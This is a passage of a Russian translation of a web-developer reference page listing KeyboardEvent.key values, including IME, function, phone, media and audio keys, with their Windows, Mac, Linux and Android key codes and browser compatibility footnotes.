+ GDK_KEY_PowerOff (0x1008FF2A)
+ Qt::Key_PowerDown (0x0100010B)
+ Qt::Key_PowerOff (0x010000B7)
"PrintScreen"Клавиша PrintScreen или PrtScr. Иногда SnapShot. Делает снимок экрана.VK_SNAPSHOT (0x2C)GDK_KEY_3270_PrintScreen (0xFD1D)
+ GDK_KEY_Print (0xFF61)
+ GDK_KEY_Sys_Req (0xFF15)
+ Qt::Key_Print (0x01000009)
+ Qt::Key_SysReq (0x0100000A)		KEYCODE_SYSRQ (120)
"Hibernate" [2]Клавиша гибернации Hibernate. Состояние компьютера сохраняется на диске, а затем выключается; компьютер может быть возвращен в предыдущее состояние путем восстановления сохраненной информации о состоянии.GDK_KEY_Hibernate (0x1008FFA8)
+ Qt::Key_Hibernate (0x01000108)
"Standby" [1]Клавиша сна Standby. (Также известна как Suspend или Sleep.) Выключает дисплей и переводит компьютер в режим низкого энергопотребления, не выключая его полностью.VK_SLEEP (0x5F)GDK_KEY_Standby (0x1008FF10)
+ GDK_KEY_Suspend (0x1008FFA7)
+ GDK_KEY_Sleep (0x1008FF2F)
+ Qt::Key_Standby (0x01000093)
+ Qt::Key_Suspend (0x0100010C)
+ Qt::Key_Sleep (0x01020004)		KEYCODE_SLEEP (223)
"WakeUp" [2]Клавиша пробуждения WakeUp. Используется для вывода компьютера из режима гибернации или ожидания.GDK_KEY_WakeUp (0x1008FF2B)
+ Qt::Key_WakeUp (0x010000B8)		KEYCODE_WAKEUP (224)
+ +

[1] Клавиша Standby не поддерживается Internet Explorer (проверено в версиях 9 и 11) и Firefox 36 и более ранних, поэтому возвращала "Unidentified".

+ +

[2] До Firefox 37, эта клавиша генерировала значение "Unidentified".

+ +

IME и клавиши композиции

+ +

Клавиши, используемые при использовании редактора метода ввода (IME) для ввода текста, который не может быть легко введен с помощью простых нажатий клавиш, например текста на языках, которые имеют больше графем, чем клавиш ввода символов на клавиатуре. Общие примеры включают китайский, японский, корейский и хинди.

+ +

Некоторые клавиши являются общими для нескольких языков, в то время как другие существуют только на клавиатурах, ориентированных на определенные языки. Кроме того, не все клавиатуры имеют все эти клавиши.

+ +

Обычные IME клавиши

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"AllCandidates"The All Candidates key, which starts multi-candidate mode, in which multiple candidates are displayed for the ongoing input.GDK_KEY_MultipleCandidate (0xFF3D
+ Qt::Key_MultipleCandidate (0x0100113D)
"Alphanumeric"The Alphanumeric key.VK_OEM_ATTN (0xF0)GDK_KEY_Eisu_Shift (0xFF2F)
+ GDK_KEY_Eisu_toggle (0xFF30)
+ Qt::Key_Eisu_Shift (0x0100112f)
+ Qt::Key_Eisu_toggle (0x01001130)
"CodeInput"The Code Input key, which enables code input mode, which lets the user enter characters by typing their code points (their Unicode character numbers, typically).GDK_KEY_Codeinput (0xFF37)
+ Qt::Key_Codeinput (0x01001137)
"Compose"The Compose key.GDK_KEY_Multi_key (0xFF20) [1]
+ Qt::Key_Multi_key (0x01001120)
"Convert" [4]The Convert key, which instructs the IME to convert the current input method sequence into the resulting character.VK_CONVERT (0x1C)GDK_KEY_Henkan (0xFF23)
+ Qt::Key_Henkan (0x01001123)		KEYCODE_HENKAN (214)
"Dead" +

A dead "combining" key; that is, a key which is used in tandem with other keys to generate accented and other modified characters. If pressed by itself, it doesn't generate a character.

+ +

If you wish to identify which specific dead key was pressed (in cases where more than one exists), you can do so by examining the {{domxref("KeyboardEvent")}}'s associated {{event("compositionupdate")}} event's  {{domxref("CompositionEvent.data", "data")}} property.

+ 		See {{anch("Dead keycodes for Linux")}} below
"FinalMode"The Final (Final Mode) key is used on some Asian keyboards to enter final mode when using IMEs.VK_FINAL (0x18)
"GroupFirst"Switches to the first character group on an ISO/IEC 9995 keyboard. Each key may have multiple groups of characters, each in its own column. Pressing this key instructs the device to interpret keypresses as coming from the first column on subsequent keystrokes.GDK_KEY_ISO_First_Group (0xFE0C)
"GroupLast"Switches to the last character group on an ISO/IEC 9995 keyboard.GDK_KEY_ISO_Last_Group (0xFE0E)
"GroupNext" [4]Switches to the next character group on an ISO/IEC 9995 keyboard.GDK_KEY_ISO_Next_Group (0xFE08)KEYCODE_LANGUAGE_SWITCH (204)
"GroupPrevious"Switches to the previous character group on an ISO/IEC 9995 keyboard.GDK_KEY_ISO_Prev_Group (0xFE0A)
"ModeChange" [5]The Mode Change key. Toggles or cycles among input modes of IMEs.VK_MODECHANGE (0x1F)GDK_KEY_Mode_switch (0xFF7E)
+ GDK_KEY_script_switch (0xFF7E)
+ Qt::Key_Mode_switch (0x0100117E)		KEYCODE_SWITCH_CHARSET (95)
"NextCandidate"The Next Candidate function key. Selects the next possible match for the ongoing input.
"NonConvert" [2]The NonConvert ("Don't convert") key. This accepts the current input method sequence without running conversion when using an IME.VK_NONCONVERT (0x1D)GDK_KEY_Muhenkan (0xFF22)
+ Qt::Key_Muhenkan (0x01001122)
+  		KEYCODE_MUHENKAN (213)
"PreviousCandidate"The Previous Candidate key. Selects the previous possible match for the ongoing input.GDK_KEY_PreviousCandidate (0xFF3E)
+ Qt::Key_PreviousCandidate (0x0100113E)
"Process" [3]The Process key. Instructs the IME to process the conversion.VK_PROCESSKEY (0xE5)
"SingleCandidate" [4]The Single Candidate key. Enables single candidate mode (as opposed to multi-candidate mode); in this mode, only one candidate is displayed at a time.GDK_KEY_SingleCandidate (0xFF3C)
+ Qt::Key_SingleCandidate (0x0100113C)
+ +

[1] В X Window System, клавиша Compose называется Multi.

+ +

[2] Клавиша NonConvert возвращает значение "Nonconvert" вместо корректного "NonConvert" в Internet Explorer (проверено в версиях 9 и 11) и Firefox версии 36 и более ранних.

+ +

[3] Клавиша Process в настоящее время возвращает "Unidentified" в Firefox и Internet Explorer. Google Chrome возвращает значение клавиши так, как если бы IME не использовался.

+ +

[4] До Firefox 37, эта клавиша возвращала "Unidentified".

+ +

[5] Firefox генерирует значение "AltGraph" вместо "ModeChange".

+ +

Только корейские клавиатуры

+ +

Эти клавиши доступны только на корейских клавиатурах. Существуют и другие клавиши, определенные различными платформами для корейских клавиатур, но они являются наиболее распространенными и идентифицируются спецификацией событий пользовательского интерфейса.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"HangulMode"The Hangul (Korean character set) mode key, which toggles between Hangul and English entry modes.VK_HANGUL (0x15) [1]GDK_KEY_Hangul (0xFF31)
+ Qt::Key_Hangul (0x01001131)
"HanjaMode"Selects the Hanja mode, for converting Hangul characters to the more specific Hanja characters.VK_HANJA (0x19) [1]GDK_KEY_Hangul_Hanja (0xFF34)
+ Qt::Key_Hangul_Hanja (0x01001134)
"JunjaMode"Selects the Junja mode, in which Korean is represented using single-byte Latin characters.VK_JUNJA (0x17)GDK_KEY_Hangul_Jeonja (0xFF38)
+ Qt::Key_Hangul_Jeonja (0x01001138)
+ +

[1] VK_HANGUL и VK_KANA используют один и тот же числовой код клавиши в Windows, также как VK_HANJA и VK_KANJI.

+ +

Только японские клавиатуры

+ +

Эти клавиши достуны только на японских клавиатурах.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"Eisu" [1]The Eisu key. This key's purpose is defined by the IME, but may be used to close the IME.kVK_JIS_Eisu (0x66)GDK_KEY_Eisu_toggle (0xFF2F)
+ Qt::Key_Eisu_toggle (0x01001130)		KEYCODE_EISU (212)
"Hankaku" [3]The Hankaku (half-width characters) key.VK_OEM_AUTO (0xF3)GDK_KEY_Hankaku (0xFF29)
+ Qt::Key_Hankaku (0x01001129)
"Hiragana"The Hiragana key; selects Kana characters mode.VK_OEM_COPY (0xF2)GDK_KEY_Hiragana (0xFF25)
+ Qt::Key_Hiragana (0x01001125)
"HiraganaKatakana" [6]Toggles between the Hiragana and Katakana writing systems.GDK_KEY_Hiragana_Katakana (0xFF27)
+ Qt::Key_Hiragana_Katakana (0x01001127)		KEYCODE_KATAKANA_HIRAGANA (215)
"KanaMode"The Kana Mode (Kana Lock) key.VK_KANA (0x15) [2]
+ VK_ATTN (0xF6)		GDK_KEY_Kana_Lock (0xFF2D)
+ GDK_KEY_Kana_Shift (0xFF2E)
+ Qt::Key_Kana_Lock (0x0100112D)
+ Qt::Key_Kana_Shift (0x0100112E)
"KanjiMode"The Kanji Mode key. Enables entering Japanese text using the ideographic characters of Chinese origin.VK_KANJI(0x19) [2]kVK_JIS_Kana (0x68)GDK_KEY_Kanji (0xFF21)
+ Qt::Key_Kanji (0x01001121)		KEYCODE_KANA (218)
"Katakana"The Katakana key.VK_OEM_FINISH (0xF1)GDK_KEY_Katakana (0xFF26)
+ Qt::Key_Katakana (0x01001126)
"Romaji" [5]The Romaji key; selects the Roman character set.VK_OEM_BACKTAB (0xF5)GDK_KEY_Romaji (0xFF24)
+ Qt::Key_Romaji (0x01001124)
"Zenkaku" [4]The Zenkaku (full width) characters key.VK_OEM_ENLW (0xF4)GDK_KEY_Zenkaku (0xFF28)
+ Qt::Key_Zenkaku (0x01001128)
"ZenkakuHanaku" [6]The Zenkaku/Hankaku (full width/half width) toggle key.GDK_KEY_Zenkaku_Hankaku (0xFF2A)
+ Qt::Zenkaku_Hankaku (0x0100112A)		 +

KEYCODE_ZENKAKU_HANKAKU (211)

+
+ +

[1] До Firefox 37, клавиша Eisu ошибочно сопоставлялась "RomanCharacters".

+ +

[2] VK_HANGUL и VK_KANA используют один и тот же числовой код клавиши в Windows, также как VK_HANJA и VK_KANJI.

+ +

[3] До Firefox 37, клавиша Hankaku (half-width) генерировала значание "HalfWidth" в Firefox. Такжк, этак клавиша генерировала значаение "Unidentified" в Internet Explorer (проверено в версиях 9 и 11).

+ +

[4] Internet Explorer (проверено в версиях 9 и 11) возвращал "Unidentified" для клавиши Zenkaku; Firefox 36 и более ранние определяли эту клавишу как "FullWidth" на японских раскладках клавиатуры и "Unidentified" на всех остальных раскладках клавиатуры. Firefox 37 и выше, а также все версии Google Chrome, корректно возвращают "Zenkaku".

+ +

[5] "Unidentified" в Internet Explorer (проверено в версиях 9 и 11). Firefox 36 и более ранние определяли клавишу Romaji как "RomanCharacters" на японских клавиатурах и "Unidentified" для остальных клавиатур; исправлено на значение  "Romaji" в Firefox 37 и выше.

+ +

[6] Эта клавиша возвращала "Unidentified" до Firefox 37.

+ +

Dead keycodes for Linux

+ +

Linux generates accented characters using special dead keys. Dead keys are keys which are pressed in combination with character keys to generate accented forms of those characters. You can identify which specific dead key was used (if more than one exists) by examining the  {{domxref("KeyboardEvent")}}'s associated {{event("compositionupdate")}} event's  {{domxref("CompositionEvent.data", "data")}} property.

+ +

You can find a table of the dead keys and the characters they can be used with to generate accented or otherwise special characters on Linux using GTK.

+ +

The value of {{domxref("CompositionEvent.data", "data")}} will be one of the following:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение CompositionEvent.dataСимволКомментарии
GDK_KEY_dead_grave (0xFE50)
+ Qt::Key_Dead_Grave (0x01001250)		`
GDK_KEY_dead_acute (0xFE51)
+ Qt::Key_Dead_Acute (0x01001251)		´
GDK_KEY_dead_circumflex (0xFE52)
+ Qt::Key_Dead_Circumflex (0x01001252)		ˆ
GDK_KEY_dead_tilde (0xFE53)
+ Qt::Key_Dead_Tilde (0x01001253)		˜
GDK_KEY_dead_perispomeni (0xFE53) ͂
GDK_KEY_dead_macron (0xFE54)
+ Qt::Key_Dead_Macron (0x01001254)		¯
GDK_KEY_dead_breve (0xFE55)
+ Qt::Key_Dead_Breve (0x01001255)		˘
GDK_KEY_dead_abovedot (0xFE56)
+ Qt::Key_Dead_Abovedot (0x01001256)		˙
GDK_KEY_dead_diaeresis (0xFE57)
+ Qt::Key_Dead_Diaeresis (0x01001257)		¨Also called an umlaut.
GDK_KEY_dead_abovering (0xFE58)
+ Qt::Key_Dead_Abovering (0x01001258)		˚
GDK_KEY_dead_doubleacute (0xFE59)
+ Qt::Key_Dead_Doubleacute (0x01001259)		˝
GDK_KEY_dead_caron (0xFE5A)
+ Qt::Key_Dead_Caron (0x0100125A)		ˇAlso called a háček; used in Czech among other languages.
GDK_KEY_dead_cedilla (0xFE5B)
+ Qt::Key_Dead_Cedilla (0x0100125B)		¸
GDK_KEY_dead_ogonek (0xFE5C)
+ Qt::Key_Dead_Ogonek (0x0100125C)		˛Also called a nosinė; used in Polish and Old Irish.
GDK_KEY_dead_iota (0xFE5D)
+ Qt::Key_Dead_Iota (0x0100125D)		 ͅIota subscript.
GDK_KEY_dead_voiced_sound (0xFE5E)
+ Qt::Key_Dead_Voiced_Sound (0x0100125E)		゙
GDK_KEY_dead_semivoiced_sound (0xFE5F)
+ Qt::Key_Dead_Semivoiced_Sound (0x0100125F)		゚
GDK_KEY_dead_belowdot (0xFE60)
+ Qt::Key_Dead_Belowdot (0x01001260)		̣̣
GDK_KEY_dead_hook (0xFE61)
+ Qt::Key_Dead_Hook (0x01001261)		  ̡
GDK_KEY_dead_horn (0xFE62)
+ Qt::Key_Dead_Horn (0x01001262)		 ̛
GDK_KEY_dead_stroke (0xFE63) ̶̶
GDK_KEY_dead_abovecomma (0xFE64) ̓̓
GDK_KEY_dead_psili (0xFE64) ᾿
GDK_KEY_dead_abovereversedcomma (0xFE65)ʽ
GDK_KEY_dead_dasia (0xFE65)῾
GDK_KEY_dead_doublegrave (0xFE66) ̏
GDK_KEY_dead_belowring (0xFE67)˳
GDK_KEY_dead_belowmacron (0xFE68) ̱
GDK_KEY_dead_belowcircumflex (0xFE69)ꞈ
GDK_KEY_dead_belowtilde (0xFE6A)̰
GDK_KEY_dead_belowbreve (0xFE6B)̮
GDK_KEY_dead_belowdiaeresis (0xFE6C) ̤
GDK_KEY_dead_invertedbreve (0xFE6D)̯
GDK_KEY_dead_belowcomma (0xFE6E)̦
GDK_KEY_dead_currency (0xFE6F)
GDK_KEY_dead_a (0xFE80)
GDK_KEY_dead_A (0xFE81)
GDK_KEY_dead_e (0xFE82)
GDK_KEY_dead_E (0xFE83)
GDK_KEY_dead_i (0xFE84)
GDK_KEY_dead_I (0xFE85)
GDK_KEY_dead_o (0xFE86)
GDK_KEY_dead_O (0xFE87)
GDK_KEY_dead_u (0xFE88)
GDK_KEY_dead_U (0xFE89)
GDK_KEY_dead_small_schwa (0xFE8A)ə
GDK_KEY_dead_capital_schwa (0xFE8B)Ə
GDK_KEY_dead_greek (0xFE8C)
+ +

Функциональные клавиши

+ +

Хотя разные платформы поддерживают разное количество функциональных клавиш общего назначения, таких как F1–F12 (or F1–F10, or F1–F15, etc.), первые несколько конкретно определены следующим образом.

+ +

Если доступно больше функциональных клавиш, их имена продолжают представленный шаблон, продолжая увеличивать числовую часть имени каждой клавиши, так что, например, "F24" это валидное значение клавиши.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"F1"Клавиша F1.VK_F1 (0x70)kVK_F1 (0x7A)GDK_KEY_F1 (0xFFBE)
+ GDK_KEY_KP_F1 (0xFF91)
+ Qt::Key_F1 (0x01000030)		KEYCODE_F1 (131)
"F2"Клавиша F2.VK_F2 (0x71)kVK_F2 (0x78)GDK_KEY_F2 (0xFFBF)
+ GDK_KEY_KP_F2 (0xFF92)
+ Qt::Key_F2 (0x01000031)		KEYCODE_F2 (132)
"F3"Клавиша F3.VK_F3 (0x72)kVK_F3 (0x63)GDK_KEY_F3 (0xFFC0)
+ GDK_KEY_KP_F3 (0xFF93)
+ Qt::Key_F3 (0x01000032)		KEYCODE_F3 (133)
"F4"Клавиша F4.VK_F4 (0x73)kVK_F4 (0x76)GDK_KEY_F4 (0xFFC1)
+ GDK_KEY_KP_F4 (0xFF94)
+ Qt::Key_F4 (0x01000033)		KEYCODE_F4 (134)
"F5"Клавиша F5.VK_F5 (0x74)kVK_F5 (0x60)GDK_KEY_F5 (0xFFC2)
+ Qt::Key_F5 (0x01000034)		KEYCODE_F5 (135)
"F6"Клавиша F6.VK_F6 (0x75)kVK_F6 (0x61)GDK_KEY_F6 (0xFFC3)
+ Qt::Key_F6 (0x01000035)		KEYCODE_F6 (136)
"F7"Клавиша F7.VK_F7 (0x76)kVK_F7 (0x62)GDK_KEY_F7 (0xFFC4)
+ Qt::Key_F7 (0x01000036)		KEYCODE_F7 (137)
"F8"Клавиша F8.VK_F8 (0x77)kVK_F8 (0x64)GDK_KEY_F8 (0xFFC5)
+ Qt::Key_F8 (0x01000037)		KEYCODE_F8 (138)
"F9"Клавиша F9.VK_F9 (0x78)kVK_F9 (0x65)GDK_KEY_F9 (0xFFC6)
+ Qt::Key_F9 (0x01000038)		KEYCODE_F9 (139)
"F10"Клавиша F10.VK_F10 (0x79)kVK_F10 (0x6D)GDK_KEY_F10 (0xFFC7)
+ Qt::Key_F10 (0x01000039)		KEYCODE_F10 (140)
"F11"Клавиша F11.VK_F11 (0x7A)kVK_F11 (0x67)GDK_KEY_F11 (0xFFC8)
+ Qt::Key_F11 (0x0100003A)		KEYCODE_F11 (141)
"F12"Клавиша F12.VK_F12 (0x7B)kVK_F12 (0x6F)GDK_KEY_F12 (0xFFC9)
+ Qt::Key_F12 (0x0100003B)		KEYCODE_F12 (142)
"F13"Клавиша F13.VK_F13 (0x7C)kVK_F13 (0x69)GDK_KEY_F13 (0xFFCA)
+ Qt::Key_F13 (0x0100003C)		KEYCODE_F13
"F14"Клавиша F14.VK_F14 (0x7D)kVK_F14 (0x6B)GDK_KEY_F14 (0xFFCB)
+ Qt::Key_F14 (0x0100003D)		KEYCODE_F14
"F15"Клавиша F15.VK_F15 (0x7E)kVK_F15 (0x71)GDK_KEY_F15 (0xFFCC)
+ Qt::Key_F15 (0x0100003E)		KEYCODE_F15
"F16"Клавиша F16.VK_F16 (0x7F)kVK_F16 (0x6A)GDK_KEY_F16 (0xFFCD)
+ Qt::Key_F16 (0x0100003F)		KEYCODE_F16
"F17"Клавиша F17.VK_F17 (0x80)kVK_F17 (0x40)GDK_KEY_F17 (0xFFCE)
+ Qt::Key_F17 (0x01000040)		KEYCODE_F17
"F18"Клавиша F18.VK_F18 (0x81)kVK_F18 (0x4F)GDK_KEY_F18 (0xFFCF)
+ Qt::Key_F18 (0x01000041)		KEYCODE_F18
"F19"Клавиша F19.VK_F19 (0x82)kVK_F19 (0x50)GDK_KEY_F19 (0xFFD0)
+ Qt::Key_F19 (0x01000042)		KEYCODE_F19
"F20"Клавиша F20.VK_F20 (0x83)kVK_F20 (0x5A)GDK_KEY_F20 (0xFFD1)
+ Qt::Key_F20 (0x01000043)		KEYCODE_F20
"Soft1"Первая функциональная клавиша общего назначения.Qt::Key_Context1 (0x01100000)
"Soft2"Вторая функциональная клавиша общего назначения.Qt::Key_Context2 (0x01100001)
"Soft3"Третья функциональная клавиша общего назначения.Qt::Key_Context3 (0x01100002)
"Soft4"Четвертая функциональная клавиша общего назначения.Qt::Key_Context4 (0x01100003)
+ +

Телефонные клавиши

+ +

Эти клавиши представляют собой кнопки, которые обычно существуют на современных смартфонах.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"AppSwitch"Представляет список недавно использованных приложений, который позволяет пользователю быстро переключаться между приложениями.KEYCODE_APP_SWITCH (181)
"Call"Кнопка вызова Call. Набирает номер, который был введен.Qt::Key_Call (0x01100004)KEYCODE_CALL (5)
"Camera"Кнопка камеры Camera. Включает камеру.Qt::Key_Camera (0x01100020)KEYCODE_CAMERA (27)
"CameraFocus"Кнопка фокусировки Focus. Фокусирует камеру.Qt::Key_CameraFocus (0x01100021)KEYCODE_FOCUS (80)
"EndCall"Кнопка завершения вызова End Call или Hang Up.Qt::Key_Hangup (0x01100005)KEYCODE_ENDCALL (6)
"GoBack"Кнопка "Назад" Back.KEYCODE_BACK (4)
"GoHome" [1]Кнопка Home. Возвращает пользователя на главный экран телефона (обычно это средство запуска приложений).KEYCODE_HOME (3)
"HeadsetHook"Клавиша гарнитурыHeadset Hook. Обычно это кнопка на гарнитуре, которая используется для отбоя вызовов и воспроизведения или приостановки мультимедиа.Qt::Key_ToggleCallHangup (0x01100007)KEYCODE_HEADSETHOOK (79)
"LastNumberRedial"Клавиша перенабора номера Redial. Набирает последний набранный номер.Qt::Key_LastNumberRedial (0x01100009)
"Notification"Клавиша уведомленияNotification.KEYCODE_NOTIFICATION (83)
"MannerMode"Кнопка, которая циклически переключается между режимами уведомлений: бесшумный, вибрировать, звонить и так далее.KEYCODE_MANNER_MODE (205)
"VoiceDial"КлавишаVoice Dial. Запускает голосовой набор.Qt::Key_VoiceDial (0x01100008)KEYCODE_VOICE_ASSIST (231)
+ +

[1] До Firefox 37, кнопка Home генерирует значение "Exit". Начиная с Firefox 37, генерирует "MozHomeScreen".

+ +

Мультимедийные клавиши

+ +

Мультимедийные клавиши - это дополнительные кнопки или клавиши для управления мультимедийными устройствами, которые есть на некоторых клавиатурах.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"ChannelDown"Переключается на предыдущий канал.APPCOMMAND_MEDIA_CHANNEL_DOWNQt::Key_ChannelDown (0x01000119)KEYCODE_CHANNEL_DOWN (167)
"ChannelUp"Переключается на следующий канал.APPCOMMAND_MEDIA_CHANNEL_UPQt::Key_ChannelUp (0x01000118)KEYCODE_CHANNEL_UP (166)
"MediaFastForward" [2]Запускает, продолжает или увеличивает скорость быстрой перемотки мультимедиа вперед.APPCOMMAND_MEDIA_FAST_FORWARDGDK_KEY_AudioForward (0x1008FF97)
+ Qt:Key_AudioForward (0x01000102)		KEYCODE_MEDIA_FAST_FORWARD (90)
"MediaPause" +

Приостанавливает воспроизведение текущего медиафайла.

+ +
+

Заметка: Некоторые старые приложения используют просто "паузу", но это неверно.

+
+ 		APPCOMMAND_MEDIA_PAUSEGDK_KEY_AudioPause (0x1008FF31)
+ Qt::Key_MediaPause (0x1000085)		KEYCODE_MEDIA_PAUSE (127)
"MediaPlay"Запускает или продолжает воспроизведение мультимедиа с нормальной скоростью, если еще не делает этого. В противном случае не имеет эффекта.APPCOMMAND_MEDIA_PLAYGDK_KEY_AudioPlay (0x1008FF14)KEYCODE_MEDIA_PLAY (126)
"MediaPlayPause"Переключение между воспроизведением и приостановкой текущего медиафайла.VK_MEDIA_PLAY_PAUSE (0xB3)
+ APPCOMMAND_MEDIA_PLAY_PAUSE		Qt::Key_MediaTogglePlayPause (0x1000086)KEYCODE_MEDIA_PLAY_PAUSE (85)
"MediaRecord"Запуск или возобновление записи медиафайла.APPCOMMAND_MEDIA_RECORDGDK_KEY_AudioRecord (0x1008FF1C)
+ Qt::Key_MediaRecord (0x01000084)		KEYCODE_MEDIA_RECORD (130)
"MediaRewind"Запуск, продолжение или увеличение скорости перемотки медиафайла.APPCOMMAND_MEDIA_REWINDGDK_KEY_AudioRewind (0x1008FF3E)
+ Qt::Key_AudioRewind (0x010000C5)		KEYCODE_MEDIA_REWIND (89)
"MediaStop"Останавливает текущую медиа-активность (такую как воспроизведение, запись, пауза, перемотка вперед или назад). Не действует, если медиафайл уже остановлен.VK_MEDIA_STOP (0xB2)
+ APPCOMMAND_MEDIA_STOP		GDK_KEY_AudioStop (0x1008FF15)
+ Qt::Key_MediaStop (0x01000081)		KEYCODE_MEDIA_STOP (86)
"MediaTrackNext" [1]Seeks to the next media or program track.VK_MEDIA_NEXT_TRACK (0xB0)
+ APPCOMMAND_MEDIA_NEXTTRACK		GDK_KEY_AudioNext (0x1008FF17)
+ Qt::Key_MediaNext (0x01000083)		KEYCODE_MEDIA_NEXT (87)
"MediaTrackPrevious" [1]Seeks to the previous media or program track.VK_MEDIA_PREV_TRACK (0xB1)
+ APPCOMMAND_MEDIA_PREVIOUSTRACK		GDK_KEY_AudioPrev (0x1008FF16)
+ Qt::Key_MediaPrevious (0x01000082)		KEYCODE_MEDIA_PREVIOUS (88)
+ +

[1] Internet Explorer, Edge, и Firefox (36 и более ранние) используют "MediaNextTrack" и "MediaPreviousTrack" вместо "MediaTrackNext" и "MediaTrackPrevious".

+ +

[2] До Firefox 37, Firefox генерировал значение "FastFwd" на некоторых платформах и "Unidentified" на других вместо "MediaFastForward".

+ +

Клавиши управления звуком

+ +

Эти мультимедийные клавиши используются специально для управления звуком.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Значение KeyboardEvent.keyОписаниеВиртуальный код клавиши
WindowsMacLinuxAndroid
"AudioBalanceLeft"Регулирует баланс звука влево.VK_AUDIO_BALANCE_LEFT
"AudioBalanceRight"Регулирует баланс звука вправо.VK_AUDIO_BALANCE_RIGHT
"AudioBassDown"Уменьшает количество басов.APPCOMMAND_BASS_DOWN
"AudioBassBoostDown"Уменьшает степень усиления басов или циклически перемещается вниз по набору режимов или состояний усиления басов.VK_BASS_BOOST_DOWN
"AudioBassBoostToggle"Включает и выключает усиление басов.APPCOMMAND_BASS_BOOST
"AudioBassBoostUp"Увеличивает степень усиления басов или циклически перемещается вверх по набору режимов или состояний усиления басов.VK_BASS_BOOST_UP
"AudioBassUp"Увеличивает количество басов.APPCOMMAND_BASS_UP
"AudioFaderFront"Смещает регулятор уровня сигнала вперед.VK_FADER_FRONT
"AudioFaderRear"Смещает регулятор уровня сигнала назад.VK_FADER_REAR
"AudioSurroundModeNext"Выбор следующего доступного режима объемного звучания.VK_SURROUND_MODE_NEXT
"AudioTrebleDown"Уменьшает количество высоких частот.APPCOMMAND_TREBLE_DOWN
"AudioTrebleUp"Отключает звук.APPCOMMAND_TREBLE_UP
"AudioVolumeDown" [1]Уменьшает громкость звука.VK_VOLUME_DOWN (0xAE)
+ APPCOMMAND_VOLUME_DOWN		kVK_VolumeDown (0x49)GDK_KEY_AudioLowerVolume (0x1008FF11)
+ Qt::Key_VolumeDown (0x01000070)		KEYCODE_VOLUME_DOWN (25)
"AudioVolumeMute" [1]Отключает звук.VK_VOLUME_MUTE (0xAD)
+ APPCOMMAND_VOLUME_MUTE		kVK_Mute (0x4A)GDK_KEY_AudioMute (0x1008FF12)
+ Qt::Key_VolumeMute (0x01000071)		KEYCODE_VOLUME_MUTE (164)
"AudioVolumeUp" [1]Увеличивает громкость звука.VK_VOLUME_UP (0xAF)
+ APPCOMMAND_VOLUME_UP		kVK_VolumeUp (0x48)GDK_KEY_AudioRaiseVolume (0x1008FF13)
+ Qt::Key_VolumeUp (0x01000072)		KEYCODE_VOLUME_UP (24)
"MicrophoneToggle"Включает и выключает микрофон.APPCOMMAND_MIC_ON_OFF_TOGGLE
"MicrophoneVolumeDown"Уменьшает громкость входного сигнала микрофона.APPCOMMAND_MICROPHONE_VOLUME_DOWNQt::Key_MicVolumeDown (0x0100011E)
"MicrophoneVolumeMute"Отключает микрофонный вход.APPCOMMAND_MICROPHONE_VOLUME_MUTEGDK_KEY_AudioMicMute (0x1008FFB2)
+ Qt::Key_MicMute (0x01000113)		KEYCODE_MUTE (91)
"MicrophoneVolumeUp"Увеличивает громкость входного сигнала микрофона.APPCOMMAND_MICROPHONE_VOLUME_UPQt::Key_MicVolumeUp (0x0100011D)
+ +

[1] Internet Explorer, Edge, и Firefox (48 и более ранние) используют "VolumeUp", "VolumeDown", и "VolumeMute" вместо "AudioVolumeUp", "AudioVolumeDown", и "AudioVolumeMute". В Firefox 49 они были обновлены в соответствии с последней спецификацией. Старые имена все еще используются в Boot to Gecko.

+ +

Клавиши управления ТВ

+ +

Эти ключевые значения представляют собой кнопки или клавиши на телевизионных устройствах, компьютерах или телефонах с поддержкой телевидения.

